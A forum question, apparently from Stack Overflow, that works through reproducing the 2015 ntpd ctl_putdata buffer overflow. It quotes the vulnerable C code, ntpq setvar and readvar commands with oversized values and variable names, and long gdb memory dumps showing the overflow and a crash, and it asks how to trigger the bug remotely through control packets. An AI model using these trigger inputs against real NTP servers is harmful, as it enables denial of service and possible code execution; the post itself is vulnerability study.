After reading this:
http://googleprojectzero.blogspot.de/2015/01/finding-and-exploiting-ntpd.html
The Bug
The most severe bug that turned out to be exploitable on OS X Mavericks is a buffer overflow in the code which handles control packets. Control mode responses are fragmented if they exceed the size of the buffer used to store them, as implemented in the following function:
static void
ctl_putdata(
const char *dp,
unsigned int dlen,
int bin /* set to 1 when data is binary */
)
{
//[...]
/*
* Save room for trailing junk
*/
if (dlen + overhead + datapt > dataend) {
/*
* Not enough room in this one, flush it out.
*/
ctl_flushpkt(CTL_MORE);
}
memmove((char *)datapt, dp, (unsigned)dlen);
datapt += dlen;
datalinelen += dlen;
}
As you can see, if the data to be written doesn't fit into the remaining buffer space ctl_flushpkt() is called, which will send out the current packet and reset the datapt to point to the beginning of the buffer. However, memmove will be called in any case and if dlen is bigger than the total buffer size it will overflow the buffer.
Some basics:
I spent long time to understand it, so here are my findings.
To overflow a buffer a long var needs to be set and than read, in my tests around 1000 chars did the trick. I did set it in a file config and than read:
/etc/ntp.conf
setvar a = AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
:rv 0 a
It overflows.
(gdb) x/400x 0x684b0c
0x684b0c <rpkt+12>: 0x41413d61 0x41414141 0x41414141 0x41414141
0x684b1c <rpkt+28>: 0x41414141 0x41414141 0x41414141 0x41414141
0x684b2c <rpkt+44>: 0x41414141 0x41414141 0x41414141 0x41414141
0x684b3c <rpkt+60>: 0x41414141 0x41414141 0x41414141 0x41414141
0x684b4c <rpkt+76>: 0x41414141 0x41414141 0x41414141 0x41414141
0x684b5c <rpkt+92>: 0x41414141 0x41414141 0x41414141 0x41414141
0x684b6c <rpkt+108>: 0x41414141 0x41414141 0x41414141 0x41414141
0x684b7c <rpkt+124>: 0x41414141 0x41414141 0x41414141 0x41414141
0x684b8c <rpkt+140>: 0x41414141 0x41414141 0x41414141 0x41414141
0x684b9c <rpkt+156>: 0x41414141 0x41414141 0x41414141 0x41414141
0x684bac <rpkt+172>: 0x41414141 0x41414141 0x41414141 0x41414141
0x684bbc <rpkt+188>: 0x41414141 0x41414141 0x41414141 0x41414141
0x684bcc <rpkt+204>: 0x41414141 0x41414141 0x41414141 0x41414141
0x684bdc <rpkt+220>: 0x41414141 0x41414141 0x41414141 0x41414141
0x684bec <rpkt+236>: 0x41414141 0x41414141 0x41414141 0x41414141
0x684bfc <rpkt+252>: 0x41414141 0x41414141 0x41414141 0x41414141
0x684c0c <rpkt+268>: 0x41414141 0x41414141 0x41414141 0x41414141
0x684c1c <rpkt+284>: 0x41414141 0x41414141 0x41414141 0x41414141
0x684c2c <rpkt+300>: 0x41414141 0x41414141 0x41414141 0x41414141
0x684c3c <rpkt+316>: 0x41414141 0x41414141 0x41414141 0x41414141
0x684c4c <rpkt+332>: 0x41414141 0x41414141 0x41414141 0x41414141
0x684c5c <rpkt+348>: 0x41414141 0x41414141 0x41414141 0x41414141
0x684c6c <rpkt+364>: 0x41414141 0x41414141 0x41414141 0x41414141
0x684c7c <rpkt+380>: 0x41414141 0x41414141 0x41414141 0x41414141
0x684c8c <rpkt+396>: 0x41414141 0x41414141 0x41414141 0x41414141
0x684c9c <rpkt+412>: 0x41414141 0x41414141 0x41414141 0x41414141
0x684cac <rpkt+428>: 0x41414141 0x41414141 0x41414141 0x41414141
0x684cbc <rpkt+444>: 0x41414141 0x41414141 0x41414141 0x41414141
0x684ccc <rpkt+460>: 0x41414141 0x41414141 0x41414141 0x41414141
0x684cdc <rpkt+476>: 0x41414141 0x41414141 0x41414141 0x41414141
0x684cec <rpkt+492>: 0x41414141 0x41414141 0x41414141 0x41414141
0x684cfc <rpkt+508>: 0x41414141 0x41414141 0x41414141 0x41414141
0x684d0c: 0x41414141 0x41414141 0x41414141 0x41414141
0x684d1c: 0x41414141 0x41414141 0x41414141 0x41414141
0x684d2c <utsnamebuf+12>: 0x41414141 0x41414141 0x41414141 0x41414141
0x684d3c <utsnamebuf+28>: 0x41414141 0x41414141 0x41414141 0x41414141
0x684d4c <utsnamebuf+44>: 0x41414141 0x41414141 0x41414141 0x41414141
0x684d5c <utsnamebuf+60>: 0x41414141 0x41414141 0x41414141 0x41414141
0x684d6c <utsnamebuf+76>: 0x41414141 0x41414141 0x41414141 0x41414141
0x684d7c <utsnamebuf+92>: 0x41414141 0x41414141 0x41414141 0x41414141
---Type <return> to continue, or q <return> to quit---
0x684d8c <utsnamebuf+108>: 0x41414141 0x41414141 0x41414141 0x41414141
0x684d9c <utsnamebuf+124>: 0x41414141 0x41414141 0x41414141 0x41414141
0x684dac <utsnamebuf+140>: 0x41414141 0x41414141 0x41414141 0x41414141
0x684dbc <utsnamebuf+156>: 0x41414141 0x41414141 0x41414141 0x41414141
0x684dcc <utsnamebuf+172>: 0x41414141 0x41414141 0x41414141 0x41414141
0x684ddc <utsnamebuf+188>: 0x41414141 0x41414141 0x41414141 0x41414141
0x684dec <utsnamebuf+204>: 0x41414141 0x41414141 0x41414141 0x41414141
0x684dfc <utsnamebuf+220>: 0x41414141 0x41414141 0x41414141 0x41414141
0x684e0c <utsnamebuf+236>: 0x41414141 0x41414141 0x41414141 0x41414141
0x684e1c <utsnamebuf+252>: 0x41414141 0x41414141 0x41414141 0x41414141
0x684e2c <utsnamebuf+268>: 0x41414141 0x41414141 0x41414141 0x41414141
0x684e3c <utsnamebuf+284>: 0x41414141 0x41414141 0x41414141 0x41414141
0x684e4c <utsnamebuf+300>: 0x41414141 0x41414141 0x41414141 0x41414141
0x684e5c <utsnamebuf+316>: 0x41414141 0x41414141 0x41414141 0x41414141
0x684e6c <utsnamebuf+332>: 0x41414141 0x41414141 0x41414141 0x41414141
0x684e7c <utsnamebuf+348>: 0x41414141 0x41414141 0x41414141 0x41414141
0x684e8c <utsnamebuf+364>: 0x41414141 0x41414141 0x41414141 0x41414141
0x684e9c <utsnamebuf+380>: 0x41414141 0x41414141 0x41414141 0x41414141
0x684eac <ext_sys_var+4>: 0x41414141 0x41414141 0x41414141 0x41414141
0x684ebc <filegen_registry+4>: 0x00000000 0x00000000 0x00000000 0x00000000
0x684ecc <config_timer>: 0x00000000 0x00000000 0x00000000 0x00000000
0x684edc: 0x00000000 0x00000000 0x00000000 0x00000000
0x684eec: 0x00000000 0x00000000 0x00000000 0x00000000
0x684efc: 0x00000000 0x00000001 0x00000000 0x8749597e
Program received signal SIGSEGV, Segmentation fault.
read_variables (rbufp=<optimized out>, restrict_mask=<optimized out>) at ntp_control.c:2300
2300 for (i = 0; ext_sys_var &&
However I want to set it via control packet
:config setvar var = AAAAAAA
Setting long value doesn't help, since Control Packets requests cannot be fragmented. But setting long name and reading all variables on the server, you can make a Control Packet response big enough to be fragmented.
You can read all variables on the server with
:rv 0 sys_var_list
I tried to set a long variable name in order to trigger overflow.
:config setvar bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb = 1
Than read it via
:rv 0 sys_var_list
(gdb) x/400x 0x684b0c
0x684b0c <rpkt+12>: 0x5f737973 0x5f726176 0x7473696c 0x656c223d
0x684b1c <rpkt+28>: 0x732c7061 0x74617274 0x702c6d75 0x69636572
0x684b2c <rpkt+44>: 0x6e6f6973 0x6f6f722c 0x6c656474 0x722c7961
0x684b3c <rpkt+60>: 0x64746f6f 0x2c707369 0x69666572 0x65722c64
0x684b4c <rpkt+76>: 0x6d697466 0x63742c65 0x6565702c 0x666f2c72
0x684b5c <rpkt+92>: 0x74657366 0x6572662c 0x6e657571 0x732c7963
0x684b6c <rpkt+108>: 0x6a5f7379 0x65747469 0x6c632c72 0x696a5f6b
0x684b7c <rpkt+124>: 0x72657474 0x6f6c632c 0x702c6b63 0x65636f72
0x684b8c <rpkt+140>: 0x726f7373 0x7379732c 0x2c6d6574 0x73726576
0x684b9c <rpkt+156>: 0x2c6e6f69 0x5f6b6c63 0x646e6177 0x732c7265
0x684bac <rpkt+172>: 0x765f7379 0x6c5f7261 0x2c747369 0x2c696174
0x684bbc <rpkt+188>: 0x7061656c 0x2c636573 0x69707865 0x6d2c65---Type <return> to continue, or q <return> to quit---
72
0x684bcc <rpkt+204>: 0x63746e69 0x6561642c 0x5f6e6f6d 0x73726576
0x684bdc <rpkt+220>: 0x2c6e6f69 0x74746573 0x6f656d69 0x79616466
0x684bec <rpkt+236>: 0x6363612c 0x5f737365 0x696c6f70 0x612c7963
0x684bfc <rpkt+252>: 0x6262622c 0x62626262 0x62626262 0x62626262
0x684c0c <rpkt+268>: 0x62626262 0x62626262 0x62626262 0x62626262
0x684c1c <rpkt+284>: 0x62626262 0x62626262 0x62626262 0x62626262
0x684c2c <rpkt+300>: 0x62626262 0x62626262 0x62626262 0x62626262
0x684c3c <rpkt+316>: 0x62626262 0x62626262 0x62626262 0x62626262
0x684c4c <rpkt+332>: 0x62626262 0x62626262 0x62626262 0x62626262
0x684c5c <rpkt+348>: 0x62626262 0x62626262 0x62626262 0x62626262
0x684c6c <rpkt+364>: 0x62626262 0x62626262 0x62626262 0x62626262
---Type <return> to continue, or q <return> to quit---
0x684c7c <rpkt+380>: 0x62626262 0x62626262 0x62626262 0x62626262
0x684c8c <rpkt+396>: 0x62626262 0x62626262 0x62626262 0x62626262
0x684c9c <rpkt+412>: 0x62626262 0x62626262 0x62626262 0x62626262
0x684cac <rpkt+428>: 0x62626262 0x62626262 0x62626262 0x62626262
0x684cbc <rpkt+444>: 0x62626262 0x62626262 0x62626262 0x62626262
0x684ccc <rpkt+460>: 0x62626262 0x62626262 0x62626262 0x62626262
0x684cdc <rpkt+476>: 0x0a0d2262 0x00000000 0x00000000 0x00000000
0x684cec <rpkt+492>: 0x00000000 0x00000000 0x00000000 0x00000000
0x684cfc <rpkt+508>: 0x00000000 0x00000000 0x00000401 0x00000000
0x684d0c: 0x00000000 0x00000000 0x00000000 0x00000000
0x684d1c: 0x00000000 0x756e694c 0x00000078 0x00000000
0x684d2c <utsnamebuf+12>: 0x00000000 0x00000000 0x00000000 0x00000000
0x684d3c <utsnamebuf+28>: 0x00000000 0x00000000 0x00000000 ---Type <return> to continue, or q <return> to quit---
0x00000000
0x684d4c <utsnamebuf+44>: 0x00000000 0x00000000 0x00000000 0x00000000
I managed to get the biggest packet to be of dlen 466, but the buffer is 504 bytes
My question is:
It is hard to explain it here, but I hope you got the point.
Thanks,
It's size is as the size of u_char
pointer. But it is pointing to an array of size 480 + MAX_MAC_LEN = 480+(6 * sizeof(u_int32)) = 480+6*4=504 bytes
as it is assigned with the address of the data
field of ntp_control
struct.
User contributions licensed under CC BY-SA 3.0